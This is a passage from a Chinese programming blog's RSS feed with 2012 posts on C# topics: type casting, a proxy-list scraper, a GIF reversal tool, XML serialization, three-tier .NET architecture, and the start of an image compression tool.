&lt;p&gt;举例：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;object o =new object();
ASSample a=o as ASSample;
if(a!=null)
 //do some work&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://www.cnblogs.com/anytao/archive/2007/04/07/must_net_01.html&#34;&gt;http://www.cnblogs.com/anytao/archive/2007/04/07/must_net_01.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>FreeAnony-代理采集设置工具</title>
      <link>http://blog.leaver.me/2012/06/17/freeanony-%E4%BB%A3%E7%90%86%E9%87%87%E9%9B%86%E8%AE%BE%E7%BD%AE%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 17 Jun 2012 20:10:05 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/17/freeanony-%E4%BB%A3%E7%90%86%E9%87%87%E9%9B%86%E8%AE%BE%E7%BD%AE%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;这个名字确实有点不太好。。因为刚开始我想到这个工具是在今天早上看到一个别人的代理工具的时候，突然想做的，没有好好规化，结果后来代码越写越多。。不过收获很大。&lt;/p&gt;
&lt;p&gt;先看界面，因为是简单实现一下，所以就不要吐槽界面了。。&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23525_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/10c75978f904af3fc0eb8e9c41cf2a47d4d2545f.jpg&#34; title=&#34;FreeAnony&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;刚开始想的思路就是先去一个经常发布代理IP的网页去采集。然后解析成一条条的信息。然后显示出来。中途遇到几个问题，一个就是在做代理验证的时候，没有用多线程，导致直接界面无响应。另一个就是DataGridView控件要实现对一个数组的绑定，需要的一个实体对象。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public IPEntity[] GetIpInfo(string url)
        {

            //获得网页源码
            string content = Get_Http(url);
            //定位代理ip位置
            int start = content.IndexOf(&#34;&amp;lt;/strong&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;BR&amp;gt;&#34;);
            int end = content.LastIndexOf(&#34;&amp;lt;BR&amp;gt;&amp;lt;SCRIPT type=text/javascript&amp;gt;&#34;);
            //提取并去除一些冗余代码
            string subContent = content.Substring(start, end - start).Substring(21);
            subContent = subContent.Replace(&#34;&amp;amp;nbsp; dn28.com&#34;, &#34;&#34;);
            //通过br标签分隔代理列表为数组
            string[] sArray = Regex.Split(subContent, &#34;&amp;lt;br&amp;gt;&#34;, RegexOptions.IgnoreCase);
            IPEntity[] list = new IPEntity[sArray.Length];
            int j = 0;
            foreach (string i in sArray)
            {
                int addrpos = i.IndexOf(&#34;:&#34;);
                string ipaddress = i.Substring(0, addrpos);
                int portpos = i.IndexOf(&#34;@&#34;);
                string ipport = i.Substring(addrpos + 1, portpos - addrpos - 1);
                int typepos = i.IndexOf(&#34;;&#34;);
                string iptype = i.Substring(portpos + 1, typepos - portpos - 1);
                string ipcountry = i.Substring(typepos + 1);
                list[j++] = new IPEntity(ipaddress, ipport, iptype, ipcountry);

            }
            return list;

        }&lt;/pre&gt;
&lt;p&gt;这部分就是先得到网页源码，然后通过IndexOf和LastIndexOf定位到ip组的位置。这是通过分析源码来确定参数的。最后通过
标签分割成字符数组。数组元素类似于112.25.12.37:80@HTTP;江苏省 移动，然后就是继续分割成一部分，构造了一个IPEntity的数组。在按钮中绑定到DataGridView中即可
IPEntity类的定义如下：这里面设置了一个status属性，用于后面代理验证的时候进行标记。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;public  class IPEntity
        {
            string _Address;
            string _Port;
            string _Type;
            string _Country;
            string _Status;

            public string Address
            {
                get { return _Address; }
                set { _Address = value; }
            }

            public string Port
            {
                get { return _Port; }
                set { _Port = value; }
            }
            public string Status
            {
                get { return _Status; }
                set { _Status = value; }
            }
            public string Type
            {
                get { return _Type; }
                set { _Type = value; }

            }

            public string Country
            {
                get { return _Country; }
                set { _Country = value; }
            }

            public IPEntity(string Address, string Port,string Type,string Country)
            {
                this._Address = Address;
                this._Port = Port;
                this._Type = Type;
                this._Country = Country;
            }
        }&lt;/pre&gt;
&lt;p&gt;然后是验证ip可用性的部分。这部分主要的代码是验证DataGridView中的ip地址可用性&lt;/p&gt;</description>
    </item>
    <item>
      <title>gif反转工具</title>
      <link>http://blog.leaver.me/2012/06/15/gif%E5%8F%8D%E8%BD%AC%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Fri, 15 Jun 2012 17:33:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/15/gif%E5%8F%8D%E8%BD%AC%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;首先看下效果图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23424_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b38ddf634b3f63f7f6e7f6016218ba55907c67b5.jpg&#34; title=&#34;gif反转工具&#34;&gt;&lt;/a&gt;
然后是两张gif的对比
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23425_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3b7f81c3127dc8ebb3eb51d13a29d45751861ea7.gif&#34; title=&#34;旧图&#34;&gt;&lt;/a&gt;   //原本图是正着走的
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23426_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/576d8c2f7990984cd6927c59d24684f2ae94fcb4.gif&#34; title=&#34;新图&#34;&gt;&lt;/a&gt;   //处理后是倒着走的&lt;/p&gt;
&lt;p&gt;gif是动态的嘛。然后我昨天和一个朋友聊天的时候发了一串相同的gif图，然后看着千篇一律的东西。我想能不能写个程序实现gif的初始状态不同呢。什么意思呢。我们知道，gif是由帧构成的，我想实现的功能是比如一个gif共有十帧，那么我写出来的程序能够生成10个gif文件，分别对应不同的初始状态来进行循环。后来一想，gif帧太多的话，比较慢，而且也不实用，于是决定简化一下，只做一个反转工具，比如一个gif是从左到右播放的，通过这个成功可以生成一个相同的gif图，不过是倒着播放的。&lt;/p&gt;
&lt;p&gt;思路很简单，就是先把gif分解成很多帧，然后对帧进行合并，合并帧之前把帧的位置反转一下就可以了。因为我自己对图像处理的知识不懂，只想到了思路，所以这些功能都要找些资料，然后修改，测试。&lt;/p&gt;
&lt;p&gt;分割帧的代码如下&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34; title=&#34;分割gif&#34;&gt;        //解码gif图片
        public List&amp;lt;string&amp;gt; GetFrames(string pPath, string pSavedPath)
        {
            Image gif = Image.FromFile(pPath);
            FrameDimension fd = new FrameDimension(gif.FrameDimensionsList[0]);

            //获取帧数(gif图片可能包含多帧，其它格式图片一般仅一帧)
            int count = gif.GetFrameCount(fd);
            List&amp;lt;string&amp;gt; gifList=new List&amp;lt;string&amp;gt;();
            //以Jpeg格式保存各帧

            for (int i = 0; i &amp;lt; count; i++)
              {
                  gif.SelectActiveFrame(fd, i);
                  gif.Save(pSavedPath + &#34;\\frame_&#34; + i + &#34;.png&#34;, ImageFormat.Png);
                  gifList.Add(pSavedPath + &#34;\\frame_&#34; + i + &#34;.png&#34;);
              }
            return gifList;
         }&lt;/pre&gt;
&lt;p&gt;可以看到，返回了一个包含所有生成的帧地址的list列表。然后就是使用gifList作为参数来合并了。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34; title=&#34;合并gif&#34;&gt;//获取系统临时目录存放解码后的png图片
                string temppath = System.Environment.GetEnvironmentVariable(&#34;TEMP&#34;); 

                List&amp;lt;string&amp;gt; gifList = GetFrames(tBoxFile.Text, temppath);
                gifList.Reverse();
                String outputFilePath = &#34;new.gif&#34;;
                AnimatedGifEncoder ae = new AnimatedGifEncoder();
                ae.Start(outputFilePath);
                ae.SetDelay(100);    // 延迟间隔
                ae.SetRepeat(0);  //-1:不循环,0:总是循环 播放  
                for (int i = 0, count = gifList.Count; i &amp;lt; count; i++)
                {
                    ae.AddFrame(Image.FromFile(gifList[i]));
                }
                ae.Finish();
                MessageBox.Show(&#34;成功!新文件已保存在同目录&#34;);&lt;/pre&gt;
&lt;p&gt;这里面使用了AnimatedGifEncoder这个类，这是Gif.Components.dll动态连接库里的类（此库开源，文末给出地址），是我在codeProject上找到的。首先我把gifList反转，然后合并保存到同目录。中间生成的帧为了方便我保存到了temp目录。&lt;/p&gt;
&lt;p&gt;本来这个库里是分割gif的功能的。但是我实际测试后发现效果非常差，图片黑条泛滥，根本没法看。所以还是使用上面那段代码，相关代码我依然保存在工程里，有兴趣可以自己测试。&lt;/p&gt;
&lt;p&gt;明天四级考试，求人品。。&lt;/p&gt;
&lt;p&gt;项目源码:&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=125360&amp;amp;uk=1493685990&#34;&gt;gif反转工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考：
&lt;a href=&#34;http://www.cnblogs.com/top5/archive/2011/03/19/1988595.html&#34;&gt;C#图片处理：获取GIF 动画图片中的各个帧&lt;/a&gt;
&lt;a href=&#34;http://www.codeproject.com/Articles/11505/NGif-Animated-GIF-Encoder-for-NET&#34;&gt;NGif, Animated GIF Encoder for .NET&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>对象数组的Xml序列化和反序列化</title>
      <link>http://blog.leaver.me/2012/05/18/%E5%AF%B9%E8%B1%A1%E6%95%B0%E7%BB%84%E7%9A%84xml%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link>
      <pubDate>Fri, 18 May 2012 09:38:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/18/%E5%AF%B9%E8%B1%A1%E6%95%B0%E7%BB%84%E7%9A%84xml%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</guid>
      <description>&lt;p&gt;使用Serialization来进行序列化和反序列化，因此需要引入System.Xml.Serialization；命名空间。&lt;/p&gt;
&lt;p&gt;为什么要做序列化和反序列化？
.Net程序执行时，对象都驻留在内存中；内存中的对象如果需要传递给其他系统使用；或者在关机时需要保存下来以便下次再次启动程序使用就需要序列化和反序列化。&lt;/p&gt;
&lt;p&gt;本文的原始例子在参考文中，但是参考文中没有给出反序列化的例子，且xml文件不清晰。于是修改了代码，同时实现对象数组序列化和反序列化。&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Serialization;
using System.IO;

namespace UseXmlSerialization
{
    class Program
    {
        static void Main(string[] args)
        {
            //声明一个猫对象
            var cWhite = new Cat { Color = &#34;White&#34;, Speed = 10, Saying = &#34;I am a good WHITE cat&#34; };
            var cBlack = new Cat { Color = &#34;Black&#34;, Speed = 10, Saying = &#34;I am a good BLACK cat&#34; };

            CatCollection cc = new CatCollection { Cats = new Cat[] { cWhite, cBlack } };

            //序列化这个对象
            XmlSerializer serializer = new XmlSerializer(typeof(CatCollection));

            StringWriter sw = new StringWriter();
            serializer.Serialize(sw, cc);  //序列化到StringWriter对象sw里
            string strXml = sw.ToString();
            Console.WriteLine(&#34;对象数组序列化后：&#34;);
            Console.WriteLine(strXml);
            Console.WriteLine(&#34;xml反序列化后：&#34;);
            StringReader sr = new StringReader(strXml);
            CatCollection c2 = serializer.Deserialize(sr) as CatCollection;
            for (int i = 0; i &lt; 2; i++)  //验证xml文件是否已经被反序列化为对象数组
            {
                Console.WriteLine(&#34;I am Cat &#34; + i);
                Console.WriteLine(c2.Cats[i].Color);
                Console.WriteLine(c2.Cats[i].Saying);
                Console.WriteLine();

            }
        }
    }
    //以下为类定义
    [XmlRoot(&#34;Cats&#34;)]
    public class CatCollection
    {
        [XmlElement(&#34;Cat&#34;)]
        public Cat[] Cats { get; set; }
    }

    public class Cat
    {
        //定义Color属性的序列化为cat节点的属性
        [XmlAttribute(&#34;color&#34;)]
        public string Color { get; set; }

        //要求不序列化Speed属性
        [XmlIgnore]
        public int Speed { get; set; }

        //设置Saying属性序列化为Xml子元素
        [XmlElement(&#34;saying&#34;)]
        public string Saying { get; set; }
    }
}
&lt;/pre&gt;
&lt;p&gt;参考：
　　&lt;a href=&#34;http://www.cnblogs.com/yukaizhao/archive/2011/07/22/xml-serialization.html&#34;&gt;http://www.cnblogs.com/yukaizhao/archive/2011/07/22/xml-serialization.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>.Net三层架构</title>
      <link>http://blog.leaver.me/2012/05/05/.net%E4%B8%89%E5%B1%82%E6%9E%B6%E6%9E%84/</link>
      <pubDate>Sat, 05 May 2012 15:09:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/05/.net%E4%B8%89%E5%B1%82%E6%9E%B6%E6%9E%84/</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;本文来源：&lt;a href=&#34;http://www.cnblogs.com/gaoweipeng/archive/2009/01/18/1377855.html&#34;&gt;http://www.cnblogs.com/gaoweipeng/archive/2009/01/18/1377855.html&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;老规矩。因为是非常不错的文章。所有有必要收藏下来备用。推荐。&lt;/p&gt;
&lt;p&gt;**&lt;span style=&#34;color: #0000ff;&#34;&gt;三层体系结构的概念&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;**&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用户界面表示层(USL)&lt;/li&gt;
&lt;li&gt;业务逻辑层(BLL)&lt;/li&gt;
&lt;li&gt;数据访问层(DAL)
&lt;strong&gt;BLL将USL与DAL隔开了，并且加入了业务规则&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style=&#34;font-size: medium;&#34;&gt;各层的作用&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;1：数据数据访问层:主要是对原始数据（数据库或者文本文件等存放数据的形式）的操作层，而不是指原始数据，也就是说，是对数据的操作，而不是数据库,具体为业务逻辑层或表示层提供数据服务．
&lt;p&gt;2：业务逻辑层:主要是针对具体的问题的操作，也可以理解成对数据层的操作,对数据业务逻辑处理，如果说数据层是积木，那逻辑层就是对这些积木的搭建。&lt;/p&gt;
&lt;p&gt;3：表示层:主要表示WEB方式,也可以表示成WINFORM方式,WEB方式也可以表现成:aspx, 如果逻辑层相当强大和完善,无论表现层如何定义和更改,逻辑层都能完善地提供服务。&lt;/div&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;具体的区分方法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1：数据数据访问层:主要看你的数据层里面有没有包含逻辑处理，实际上他的各个函数主要完成各个对数据文件的操作。而不必管其他操作。&lt;/p&gt;
&lt;p&gt;2：业务逻辑层:主要负责对数据层的操作。也就是说把一些数据层的操作进行组合。&lt;/p&gt;
&lt;p&gt;3：表示层:主要对用户的请求接受，以及数据的返回，为客户端提供应用程序的访问。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;三层结构解释&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所谓三层体系结构，是在&lt;span style=&#34;text-decoration: underline;&#34;&gt;客户端与数据库之间&lt;/span&gt;加入了一个&lt;span style=&#34;text-decoration: underline;&#34;&gt;中间层&lt;/span&gt;，也叫&lt;span style=&#34;text-decoration: underline;&#34;&gt;组件层&lt;/span&gt;。这里所说的三层体系，不是指物理上的三层，不是简单地放置三台机器就是三层体系结构，也不仅仅有B/S应用才是三层体系结构，三层是指逻辑上的三层，即使这三个层放置到一台机器上。 三层体系的应用程序将业务规则、数据访问、合法性校验等工作放到了中间层进行处理。通常情况下，客户端不直接与数据库进行交互，而是通过COM/DCOM通讯与中间层建立连接，再经由中间层与数据库进行交换.&lt;/p&gt;
&lt;p&gt;开发人员可以将应用的商业逻辑放在中间层应用服务器上，把应用的业务逻辑与用户界面分开。在保证客户端功能的前提下，为用户提供一个简洁的界面。这意味着如果需要修改应用程序代码，只需要对中间层应用服务器进行修改，而不用修改成千上万的客户端应用程序。从而使开发人员可以专注于应用系统核心业务逻辑的分析、设计和开发，简化了应用系统的开发、更新和升级工作。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;那么为什么要应用“中间业务层”呢？举些例子:&lt;/strong&gt;
我们假设有一段登录代码，则可以这样处理Web程序，外观层负责接收前台页面的数据，然后传给中间层，中间层对数据进行处理，比如格式化，防SQL注入等等一些，这样的数据再传给数据访问层然后与数据库进行操作，比如与数据库的用户名和密码匹配等等一些代码。**&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div&gt;“中间业务层”的用途有很多，例如：验证用户输入数据、缓存从数据库中读取的数据等等……但是，&lt;span style=&#34;text-decoration: underline;&#34;&gt;“中间业务层”的实际目的是将“数据访问层”的最基础的存储逻辑组合起来，形成一种业务规则。&lt;/span&gt;例如：“在一个购物网站中有这样的一个规则：在该网站第一次购物的用户，系统为其自动注册”。这样的业务逻辑放在中间层最合适：&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;在“数据访问层”中，最好不要出现任何“业务逻辑”！也就是说，&lt;span style=&#34;text-decoration: underline;&#34;&gt;要保证“数据访问层”的中的函数功能的原子性！即最小性和不可再分。“数据访问层”只管负责存储或读取数据就可以了。&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;**
**&lt;/div&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ASP.NET中的三层结构说明&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;完善的三层结构的要求是:**修改表现层而不用修改逻辑层,修改逻辑层而不用修改数据层。**否则你的应用是不是多层结构,或者说是层结构的划分和组织上是不是有问题就很难说.不同的应用有不同的理解，这只是一个概念的问题．&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
*   **理解ASP.NET中的三层结构**——为什么要分三层？
&lt;pre&gt;&lt;code&gt;我们用三层结构主要是使项目结构更清楚，分工更明确，有利于后期的维护和升级。它未必会提升性能，因为当子程序模块未执行结束时，主程序模块只能处于等待状态。这说明将应用程序划分层次，会带来其执行速度上的一些损失。但从团队开发效率角度上来讲却可以感受到大不相同的效果。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要说明一下，三层结构不是.NET的专利，也不是专门用在数据库上的技术。它是一种更加普适的架构设计理念。&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
**&lt;span style=&#34;font-size: medium;&#34;&gt;
&lt;/span&gt;**此种架构**要在数据库设计上注意表之间的关系，**尽力满足主与子的关系。在功能上对用户要有一定的限制，不要表现在对于子表的删除操作一定要慎重，以免造成主表与子表的数据在逻辑上出现的主表的外键在子表中没有相对应的值。
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于表的&lt;strong&gt;综合查询&lt;/strong&gt;方法是：
先对主表查询，调用主表所对应的DL。再根据主表的记录分别对每一个子表进行查询。将自表的查询结果添加的主表后，形成一个大的查询集合。
对于表的操作（增删改）：
此时只对主表进行操作，调用主表对应的DL中的操作方法。
RL层是逻辑判断层，主要是对页面上传入的数据进行逻辑判断。RL层之上就是UI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style=&#34;text-decoration: underline;&#34;&gt;&lt;span style=&#34;font-size: medium;&#34;&gt;如何建立一个三层体系结构解决方案&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;新建一个空白解决方案。然后：
“添加”－“新建项目”－“其他项目”－“企业级模版项目”－“C#生成块”－“数据访问”（数据层，下简称D层）
“添加”－“新建项目”－“其他项目”－“企业级模版项目”－“C#生成块”－“业务规则”（业务层，下简称C层）
“添加”－“新建项目”－“其他项目”－“企业级模版项目”－“C#生成块”－“Web用户界面”（界面层，下简称U层）
右键点“解决方案”－“项目&lt;strong&gt;依赖项”&lt;/strong&gt;，设置U依赖于D、C，C依赖于D。
对U添加引用D、C，对C添加引用D。
到此为止，一个三层的架子建立起来了。我上面说的很具体很“傻瓜”，知道的人觉得我废话，其实我这段时间很强烈的感觉到非常多的人其实对这个简单的过程完全不了解。虽然不反对建2个“空项目”和1个“Asp    net    Web应用程序项目”也可以作为3层的框架，而且相当多的人认为其实这些“企业级模板项目”其实就是个空项目，这是一个误区。没错，企业级模板项目你从解决方案资源管理器里看它是个什么也没有的，但是你可以用记事本打开项目文件，看见不同了吧？？有些东西在背后，你是看不见的，不过系统已经做好了。也就是说，如果你在C层里的某个类里“using    System    Data    SqlClineit”，或者使用一个SqlConnection对象，编译时候不会出错，但是会在“任务列表”里生成一些“策略警告”，警告你在C层里不要放应该放在D层的东西（虽然就程序来说没错，但是可读性可维护性就打了折扣）而这种功能，空项目是无法給你的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;span style=&#34;text-decoration: underline;&#34;&gt;在新TraceLWord3中，应用了“企业级模板项目”。把原来的LWordTask.cs，并放置到一个单一的项目里，项目名称为：AccessTask。解决方案中又新建了一个名称为：InterService的项目，该项目中包含一个LWordService.cs程序文件，它便是“中间业务层”程序。为了不重复命名，TraceLWord3的网站被放置到了WebUI项目中。&lt;/span&gt;更完整的代码，可以在CodePackage/TraceLWord3目录中找到——&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;**&lt;span style=&#34;font-size: medium;&#34;&gt;面象对象与实际的结合&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;**&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;我们知道建桥需要砖块，应该是先准备好砖再来建桥，不过为了讲解上的顺序性和连贯性，简单性。我们先建桥，建的过程中需要砖块再现做，这样就不会多出来“桥不需要的东西”。注意在实际中，还是应该先准备砖块。&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
U层其实就是桥，C层是砖块，D层是原料（石头、沙子）。这也解释前面为什么U层要引用、依赖D层（而不是U对C，C对D的层次），因为桥除了需要砖头，其实也需要石头沙子。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;“三层结构”的缺点&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有些网友在读完这篇文章前作之后，对我提出了一些质疑，这提醒我文章至此还没有提及“三层结构”的缺点。“三层结构”这个词眼似乎一直都很热门，究其原因，或许是这种开发模式应用的比较普遍。但是“三层结构”却并不是百试百灵的“万灵药”，它也存在着缺点。下面就来说说它的缺点……&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;text-decoration: underline;&#34;&gt;“三层结构”开发模式的一个非常明显的缺点就是其执行速度不够快。当然这个“执行速度”是相对于非分层的应用程序来说的。&lt;/span&gt;从文中所给出的时序图来看，也明显的暴露了这一缺点。TraceLWord1和TraceLWord2没有分层，直接调用的ADO.NET所提供的类来获取数据。但是，TraceLWord6确要经过多次调用才能获取到数据。在子程序模块程序没有返回时，主程序模块只能处于等待状态。所以在执行速度上，留言板的版本越高，排名却越靠后。&lt;span style=&#34;text-decoration: underline;&#34;&gt;“三层结构”开发模式，不适用于对执行速度要求过于苛刻的系统，例如：在线订票，在线炒股等等……它比较擅长于商业规则容易变化的系统。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;“三层结构”开发模式，入门难度够高，难于理解和学习。这是对于初学程序设计的人来说的。&lt;span style=&#34;text-decoration: underline;&#34;&gt;以这种模式开发出来的软件，代码量通常要稍稍多一些。&lt;/span&gt;这往往会令初学者淹没在茫茫的代码之中。望之生畏，对其产生反感，也是可以理解的……&lt;/p&gt;
&lt;p&gt;其实，无论哪一种开发模式或方法，都是有利有弊的。不会存在一种“万用法”可以解决任何问题。所以“三层结构”这个词眼也不会是个例外！是否采用这个模式进行系统开发，要作出比较、权衡之后才可以。切忌滥用!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style=&#34;font-size: medium;&#34;&gt;参与资料&lt;/span&gt;&lt;/strong&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;/p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;http://www.bincess.cn/Downloads/MainDoc.rar&#34;&gt;MainDoc.rar    （《浅谈“三层结构”原理与用意》1.30M)      &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.bincess.cn/Downloads/MainDoc.rar&#34;&gt;http://www.bincess.cn/Downloads/MainDoc.rar&lt;/a&gt;     &lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;/p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;petshop 4.0的体系结构（只是稍微看了一下，了解一下结构）&lt;/p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;简介：PetShop随着版本的不断更新，至现在基于.Net 2.0的PetShop4.0为止，整个设计逐渐变得成熟而优雅，而且有很多可以借鉴之处。PetShop是一个小型的项目，系统架构与代码都比较简单，却也凸现了许多颇有价值的设计与开发理念。&lt;/div&gt;
&lt;div&gt;下载地址:[http://msdn.microsoft.com/en-us/library/aa479070.aspx](http://msdn.microsoft.com/en-us/library/aa479070.aspx)&lt;/div&gt;
&lt;div&gt;**PetShop架构设计**
三层”应用结构：数据访问层、业务逻辑层（领域层）、表示层
分层的设计的特点：
结构清晰、耦合度低
便于系统的扩展
利于开发任务同步进行
降低了一定的性能&lt;/div&gt;
&gt; &lt;div&gt;.Net    PetShop    4.0    配置文件属性管理&lt;/div&gt;
&gt; &lt;div&gt;&lt;span style=&#34;text-decoration: underline;&#34;&gt;http://blog.csdn.net/fengfangfang/archive/2006/09/07/1189061.aspx&lt;/span&gt;
&gt; 
&gt;     .Net    PetShop    4.0    缓存处理
&gt; &lt;span style=&#34;text-decoration: underline;&#34;&gt;http://blog.csdn.net/fengfangfang/archive/2006/09/06/1185077.aspx&lt;/span&gt;
&gt; 
&gt;     .Net    PetShop    4.0    消息处理
&gt; [http://blog.csdn.net/fengfangfang/archive/2006/09/08/1194896.aspx](http://blog.csdn.net/fengfangfang/archive/2006/09/08/1194896.aspx)
&gt; 
&gt;     每个功能都使用了工厂模式 &lt;span style=&#34;color: #0000ff;&#34;&gt;
&gt; &lt;/span&gt;&lt;/div&gt;
&gt; &lt;div&gt;&lt;/div&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;参考了Duwamish
&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;Web Search&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>图片压缩工具源码（C#）</title>
      <link>http://blog.leaver.me/2012/05/04/%E5%9B%BE%E7%89%87%E5%8E%8B%E7%BC%A9%E5%B7%A5%E5%85%B7%E6%BA%90%E7%A0%81c/</link>
      <pubDate>Fri, 04 May 2012 08:17:30 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/04/%E5%9B%BE%E7%89%87%E5%8E%8B%E7%BC%A9%E5%B7%A5%E5%85%B7%E6%BA%90%E7%A0%81c/</guid>
      <description>&lt;p&gt;以前在用一个破解版的图片压缩工具。今天早上想想自己也试着做一个吧。查了一些资料。参考了一些代码。总算是写出来了。其实关键代码很简单。主要还是画界面，处理边界。。
看下效果图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21131_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/00f5221099dd3a813d09fbb95fe9a36e5268d652.jpg&#34;&gt;&lt;/a&gt;
处理图像的关键代码是这样的：&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; 
    bmp = new Bitmap(width, height);  //创建一张空白画布
    grap = Graphics.FromImage(bmp);  //以该画布创建一个绘图对象
 //平滑的高品质，抗锯齿
    grap.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; 
 //HighQualityBicubic 是质量最好的绘图模式
    grap.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
    grap.DrawImage(img, new Rectangle(0, 0, width, height)); //用选中的原图在画布上绘图
